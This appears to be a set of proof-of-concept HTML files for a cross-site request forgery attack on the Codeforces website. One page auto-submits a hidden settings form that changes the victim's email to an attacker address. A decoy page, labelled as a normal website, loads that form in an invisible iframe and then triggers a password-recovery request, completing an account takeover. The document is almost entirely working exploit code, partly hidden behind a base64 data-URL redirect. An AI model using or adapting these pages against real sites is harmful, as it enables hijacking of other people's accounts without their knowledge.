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CodeForces CSRF
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<!DOCTYPE html> | |
<html> | |
<head> | |
<meta http-equiv="Refresh" content="2;url=data:text/html;charset=utf-8;base64,PGh0bWw+DQo8aGVhZD4NCjwvaGVhZD4NCg0KPGJvZHk+DQogIDxmb3JtIGFjdGlvbj0iaHR0cDov | |
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</head> |
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<html> | |
<head> | |
</head> | |
<body> | |
<form action="http://codeforces.com/settings/general" method="post"> | |
<input type="text" name="csrf_token" value="" /> | |
<input type="text" name="action" value="saveChanges" /> | |
<input type="text" name="ftaa" value="" /> | |
<input type="text" name="bfaa" value="" /> | |
<input type="text" name="email" value="hacked@gmail.com" /> | |
<input type="text" name="oldPassword" value="" /> | |
<input type="text" name="newPassword" value="" /> | |
<input type="text" name="newPasswordConfirmation" value="" /> | |
<input type="text" name="openId" value="" /> | |
<input type="text" name="vkId" value="" /> | |
<input type="text" name="tShirtSize" value="L" /> | |
<input type="text" name="notifyForContest" value="on" /> | |
<input type="text" name="notifyForUserTalk" value="on" /> | |
<input type="text" name="notifyForComment" value="on" /> | |
<input type="text" name="rememberOnEnterWithExternalId" value="on" /> | |
<input type="text" name="showProblemTags" value="on" /> | |
<input type="text" name="offerToPublishRatingRises" value="on" /> | |
<input type="text" name="_tta" value="300" /> | |
<input id="do-it" type="submit" /> | |
</form> | |
</body> | |
<script> | |
document.getElementById("do-it").click(); | |
</script> | |
</html> |
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Codeforces CSRF |
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<h1>Hi</h1> | |
<h2>That's a normal website. Maybe?</h2> | |
<iframe src="changeMail.html" style="display:none;"> | |
</iframe> | |
<script> | |
var xhr = new XMLHttpRequest(); | |
var params = "csrf_token=&action=passwordRecovery&handleOrEmail=hacked@gmail.com&_tta:378"; | |
xhr.open("POST", "http://codeforces.com/passwordRecovery", true); | |
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); | |
setTimeout(function(){ xhr.send(params); }, 3000); // Waits for the email to be changed. | |
</script> |
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